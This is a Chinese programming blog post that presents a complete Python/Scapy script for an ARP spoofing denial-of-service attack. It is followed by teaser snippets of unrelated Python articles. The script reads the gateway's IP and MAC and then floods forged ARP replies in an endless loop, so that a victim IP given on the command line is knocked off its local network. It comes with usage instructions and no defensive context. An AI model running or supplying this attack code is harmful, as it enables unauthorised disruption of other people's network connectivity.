python写的ARP攻击代码实例

yipeiwu_com7年前Python基础

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

复制代码 代码如下:

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103

from scapy.all import ARP,send
import os,re,sys

def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]

def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]

def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)

def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()

相关文章

tensorflow之获取tensor的shape作为max_pool的ksize实例

实验发现,tensorflow的tensor张量的shape不支持直接作为tf.max_pool的参数,比如下面这种情况(一个错误的示范): self.max_pooling1 =...

对python内置map和six.moves.map的区别详解

python内置map返回的是列表,而six.moves.map返回的是iter。 >>> map(lambda a: a*2, [1, 2, 3]) [2, 4,...

Python中getattr函数和hasattr函数作用详解

hasattr(object, name) 作用:判断对象object是否包含名为name的特性(hasattr是通过调用getattr(ojbect, name)是否抛出异常来实现的...

Python生成不重复随机值的方法

本文实例讲述了Python生成不重复随机值的方法。分享给大家供大家参考。具体分析如下: 这里从一列表中,生成不重复的随机值 算法实现如下: import random total =...

Python实现进程同步和通信的方法

Python中的多线程其实并不是真正的多线程,如果想要充分地使用多核CPU的资源,在python中大部分情况需要使用多进程。Python提供了非常好用的多进程包multiprocessi...